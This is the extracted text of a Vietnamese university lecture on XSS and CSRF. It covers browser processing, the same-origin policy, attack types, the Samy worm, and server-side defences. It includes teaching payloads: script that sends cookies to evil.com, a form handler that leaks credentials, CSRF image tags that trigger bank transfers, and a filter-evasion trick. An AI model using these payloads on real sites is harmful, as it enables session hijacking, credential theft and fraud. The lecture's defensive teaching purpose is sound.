An ninh mạng - Bài 7: An toàn dịch vụ web xss & csrf

1BÀI 7.
AN TOÀN DỊCH VỤ WEB
XSS & CSRF
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
1
Nội dung
• Xử lý trang web tại trình duyệt
• XSS
• CSRF
2
CuuDuongThanCong.com https://fb.com/tailieudientucntt
21. XỬ LÝ TẠI TRÌNH DUYỆT 
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
3
Tương tác trình duyệt Web-Web server
4
HTTP Request(GET, POST, HEAD, PUT)
Database Queries
HTTP Response(HTML Page, JS file, 
CSS file, image, ...)
Hiển thị
CuuDuongThanCong.com https://fb.com/tailieudientucntt
3Hiển trị (rendering) nội dung trang web
• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1 
frame:
Nhận thông điệp HTTP Response
Hiển thị:
Xử lý mã HTML, CSS, Javascripts
Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có)
Bắt và xử lý sự kiện
• Các sự kiện có thể xảy ra:
Sự kiện của người dùng: OnClick, OnMouseOver
Sự kiện khi hiển thị: OnLoad, OnBeforeUnload
Theo thời gian: setTimeout(), clearTimeout()
5
Ví dụ
6
My First Web Page
My first paragraph.
Try it
CuuDuongThanCong.com https://fb.com/tailieudientucntt
4Document Object Model(DOM)
• Tổ chức các đối tượng của trang HTML thành cấu trúc 
cây
• Cung cấp API (hướng đối tượng)để tương tác
• Ví dụ:
Thuộc tính: document.alinkColor, document.URL, document.forms[ 
], document.links[ ]
Phương thức: document.write()
• Bao gồm cả đối tượng của trình duyệt(Browser Object 
Model - BOM): window, document, frames[], history, 
location
7
DOM – Ví dụ
8
document
head body
title a
Alice
Example ... 
Alice
...
CuuDuongThanCong.com https://fb.com/tailieudientucntt
5DOM – Ví dụ khác
9
 ...
flip = 0;
function flipText() {
var x = document.getElementById('myid').firstChild;
if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;}
else { x.nodeValue = 'Alice'; flip = 0; }
}
<a id="myid" 
href="javascript:flipText()">
Alice
document
head body
a
Alice
script
flipText
Javascript
• Ngôn ngữ cho phép xây dựng các script để trình duyệt 
thực thi
• Được nhúng vào các trang web mà server trả về cho 
client
• Thường sử dụng để tương tác với DOM
• Khả năng tương tác rất mạnh:
Thay đổi nội dung trang web
Theo dõi các sự kiện trên trang web (bao gồm cả hành vi của 
người dùng: rê chuột, nhấp chuột, gõ phím)
Đọc, thiết lập cookie
Sinh các HTTP Request khác và đọc HTTP Response trả về
10
CuuDuongThanCong.com https://fb.com/tailieudientucntt
6Chính sách cùng nguồn(SOP)
• Same Origin Policy
• Chính sách sử dụng trên trình duyệt Web
• Nguồn = Giao thức + Hostname + Cổng ứng dụng
• Chính sách SOP: Trang web của nguồn này không được 
phép đọc, thay đổi nội dung trang web của nguồn khác
 cách ly các trang web khác nguồn
11
A A
B
B
A
Compared URL Outcome
httpː//www.example.com/dir/page2.html Success
httpː//www.example.com/dir2/other.html Success
httpː//username:password@www.example.com/dir2/other.html Success
httpː//www.example.com:81/dir/other.html Failure
https://www.example.com/dir/other.html Failure
 Failure
 Failure
 Failure
httpː//www.example.com:80/dir/other.html Depends
SOP – Ví dụ
12
Kiểm tra khả năng truy cập từ 
CuuDuongThanCong.com https://fb.com/tailieudientucntt
72. TẤN CÔNG DẠNG CROSS SITE 
SCRIPTING (XSS)
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
13
Tấn công XSS (Cross Site Scripting)
• Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực 
thi trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên 
thông điệp HTTP Response 
• Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc trong thông 
điệp HTTP Request và lừa ứng dụng web trả về thông điệp HTTP 
Response chứa mã độc này.
• Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc 
nằm trong thông điệp HTTP Response nhận được từ web server
• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF
• Các phương phép chèn mã thực thi:
Reflected XSS
Stored XSS
DOM-based XSS
14
CuuDuongThanCong.com https://fb.com/tailieudientucntt
8Tấn công Reflected XSS 
15
Attack Server
Victim Server(5) Trình 
duyệt thực 
thi mã độc
Victim Server evil.com
victim.com
Tấn công Reflected XSS - Ví dụ
• Giả sử trên website của mục tiêu cung cấp tính năng tìm 
kiếm.
• Đoạn mã thực thi trên server như sau:
16
 Search Results 
Results for :
. . .
CuuDuongThanCong.com https://fb.com/tailieudientucntt
9Tấn công Reflected XSS - Ví dụ (tiếp)
• Người dùng tải một trang web từ server của kẻ tấn công 
chưa đường dẫn sau
document.location=‘’+ 
document.cookie)
• Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên?
17
18
term=%3Cscript%3Edocument.location=‘evil.
com/’ +document.cookie;%3C/script%3E
“Check out this link!”
victim.comevil.com
m.com/search.ph
p? 
term=%3Cscript
%3Edocument.loc
ation=‘evil.com/’ 
+document.cookie
;%3C/script%3EHTTP 
Response
chứa mã thực 
thi đã truyền 
qua giá trị 
đầu vào
evil.com/f9geiv33knv141
Session token của người dùng trên
victim.com
CuuDuongThanCong.com https://fb.com/tailieudientucntt
10
Tấn công Stored XSS
19
evil.com
bank.com
Attack Browser/Server
(1)Chèn mã 
độc vào CSDL 
của mục tiêu
(4)Trình duyệt 
thực thi mã 
độc
20
Posts comment with text:
document.location = “evil.com/” + 
document.cookie
victim.com
evil.com
evil.com/f9geiv33knv141
Session token của người 
dùng trên victim.com
Comment with text:
document.location = “evil.com/” + 
document.cookie
CuuDuongThanCong.com https://fb.com/tailieudientucntt
11
Tấn công Stored XSS – Ví dụ
• Tấn công vào myspace.com năm 2007 để phát tán sâu 
Samy
• Myspace cho phép người dùng đăng bài dưới dạng mã 
HTML:
Kiểm soát, không cho phép nhúng Javascript vào các thẻ 
, , onclick, 
Nhưng không kiểm soát việc nhúng vào thẻ CSS:
Hoặc ẩn từ khóa “javascript” thành “java\nscript”
• Khi sâu Samy được thực thi, tài khoản người dùng tự động 
kết bạn với tài khoản có tên Samy
Trong 24 giờ, Samy có hàng triệu bạn bè
21
Tấn công DOM-based XSS
• Lỗ hổng: trình duyệt được phép thực thi script được 
nhúng trong đối tượng DOM của trang web đang hiển thị
• Không thể phát hiện được tại server
22
CuuDuongThanCong.com https://fb.com/tailieudientucntt
12
DOM-based XSS - Ví dụ
• Trang có lỗ hổng
• Yêu cầu thông thường
• Nhúng mã thực thi
alert(document.cookie)
23
Welcome!
Hi 
var pos = document.URL.indexOf("name=") + 5; 
document.write(document.URL.substring(pos,document.URL.l
ength));
Phòng chống tấn công XSS phía server
• Open Web Application Security Project (OWASP)
• Kiểm tra cẩn thận HTTP header, cookie, truy vấn, các 
trường ẩn
• Không nên cố gắng nhận dạng, loại trừ, lọc các đối tượng 
chủ động (active content)
• Nên sử dụng các chính sách dạng “positive” liệt kê những 
đối tượng, hành vi được phép, thay vì các chính sách 
dạng “negative”
• Kiểm tra giá trị đầu vào do client cung cấp
• Từ chối/sử dụng các bộ mã cho các ký tự đặc biệt với 
chuỗi đầu ra. Ví dụ dùng < cho ‘’, " 
cho “...
24
CuuDuongThanCong.com https://fb.com/tailieudientucntt
13
Chú ý: Mã Javascript có thể chèn vào 
nhiều vị trí khác nhau trên trang web
• Sử dụng mã Javascript như một URI
• Chèn mã Javascript vào các thuộc tính của 
phương thức xử lý sự kiện (OnSubmit, OnError, 
OnLoad, )
• Một số ví dụ:


 action="logon.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src='
ms(1).login.value'+':'+
document.forms(1).password.value;" 25
Phòng chống XSS phía server
• Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký 
tự nhạy cảm:
Hãy cẩn thận với các mẹo vượt qua bộ lọc
Hãy lọc nhiều lần cho tới khi loại hết các từ khóa
Ví dụ: lọc 1 lần chuỗi <script
<script src = “...” src = “...”
Nhưng <scr<scriptipt src = “...” <script src = “...”
• Một số công cụ khác: Dynamic Data Tainting, 
Static Analysis
26
CuuDuongThanCong.com https://fb.com/tailieudientucntt
14
Phòng chống tấn công XSS phía server
• https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch
eat_Sheet
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip
ting)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/DOM_based_XSS_Prev
ention_Cheat_Sheet
27
3. TẤN CÔNG DẠNG CROSS SITE 
REQUEST FORGERY
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
28
CuuDuongThanCong.com https://fb.com/tailieudientucntt
15
Tấn công CSRF
• Lợi dụng hiệu ứng bên (side effect) để tạo ra các HTTP 
Request giả mạo.
Hiệu ứng bên (side effect): trong quá trình hiển thị (render) trang 
web, trình duyệt có thể tự động truy cập đến tài nguyên những 
liên kết khác mà không được kiểm soát.
Ví dụ: <img height=0″ width=”0″ src=”
account=bob_id&amount=1000000&for=Alie_ id”/>
• Thường kết hợp khai thác các lỗ hổng không kiểm soát 
việc lưu giữ và truy cập cookie trên trình duyệt
• Lưu ý: tấn công CSRF khác tấn công XSS 
29
Tấn công CSRF – Ví dụ
• Người dùng đăng nhập trên website bank.com và thực 
hiện một giao dịch chuyển tiền
Trình duyệt lưu cookie của phiên làm việc(gồm các thông tin người 
dùng đã xác thực với ngân hàng)
• Người dùng truy cập vào một trang web chứa đoạn mã 
độc(Ví dụ attacker.com):
• Khi hiển thị trang web, trình duyệt tạo một HTTP Request 
với cookie ở trên để thực thi giao dịch chuyển tiền cho 
attacker
30
 document.F.submit(); 
CuuDuongThanCong.com https://fb.com/tailieudientucntt
16
Tấn công CSRF – Ví dụ
31
bank.com
evil.com
Xác thực với bank.com
/transfer?amount=500&dest=Bob
Kiểm tra session token 
Chuyển $500 tới Bob
Tấn công CSRF – Ví dụ
32
bank.com
evil.com
/transfer?amount=10000&dest=evilcorp
Kiểm tra session token 
Gửi $10000 tới EvilCorp
<img src=“
transfer?amount=10000&id=evilcorp”>
$10000
CuuDuongThanCong.com https://fb.com/tailieudientucntt
17
Tấn công CSRF – Ví dụ
• “Drive-By Pharming”, Sid Stamm, Zulfikar Ramzan, 
Markus Jakobsson, ICICS'07 
• Các thiết bị router phục vụ cho gia đình/văn phòng nhỏ 
cho phép cấu hình qua giao diện Web
Người dùng cần đăng nhập. Tuy nhiên hầu hết dùng tài khoản mặc 
định của nhà sản xuất
• Tấn công Drive-by Pharming:
Người dùng truy cập vào website chứa mã độc
Một Javascript quét và tìm địa chỉ router
Sử dụng Javascript để phát hiện hãng sản xuất và tên sản phẩm 
(thường thể hiện qua logo)
Login và sửa thông số cấu hình qua phương thức GET trên URL
33
Phòng chống tấn công CSRF phía server
• Kiểm tra nguồn sinh request qua trường Referer trong 
tiêu đề thông điệp HTTP.
Referer: 
Hạn chế: lộ thông tin thói quen của người dùng
• Khắc phục: Sử dụng trường Origin
Origin: 
• Sử dụng XMLHttpRequest API
Phương thức setRequestHeader cho phép thêm 1 trường bất kỳ 
trong tiêu đề HTTP Request
Ví dụ: thư viện prototype.js của JavaScript sử dụng X-
Requested-By
• Sử dụng xác thực đa yếu tố, capcha, secret token
34
CuuDuongThanCong.com https://fb.com/tailieudientucntt
18
Phòng chống tấn công CSRF phía server
• https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/Reviewing_code_for_Cr
oss-Site_Request_Forgery_issues
35
Tổng kết
• Command Injection:
Chèn mã độc vào giá trị đầu vào để thực thi trên server
• SQL Injection:
Chèn truy vấn SQL vào giá trị đầu vào để truy cập CSDL trái phép 
trên server
• CSRF:
Lợi dụng hiệu ứng bên (site effect) để gửi các HTTP Request độc 
hại từ trình duyệt của người dùng
• XSS
Chèn mã độc vào giá trị đầu vào và lợi dụng kết quả server trả về 
để thực thi trên client
36
CuuDuongThanCong.com https://fb.com/tailieudientucntt
19
Một số biện pháp phòng chống trên web 
server
• Kiểm tra cẩn thận HTTP header, cookie, thẻ bài
• Kiểm tra cẩn thận giá trị đầu vào, kết quả trả về
• Sử dụng các công cụ kiểm thử black box
• Sử dụng các công cụ quét mã độc: Google Analytic, 
Norton Safe Web...
• Theo dõi và cập nhật đầy đủ các bản vá bảo mật
• Sử dụng firewall dịch vụ web: Apache Mod Security, 
Imperva SecureSphere Web Application Firewall, Check 
Point Web Security
37
Người dùng được bảo vệ như thế nào?
38
CuuDuongThanCong.com https://fb.com/tailieudientucntt
20
Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài 
giảng:
• Computer and Network Security, Stanford University
• Computer Security, Berkeley University
• Introduction to Computer Security, Carnegie Mellon 
University
39
CuuDuongThanCong.com https://fb.com/tailieudientucntt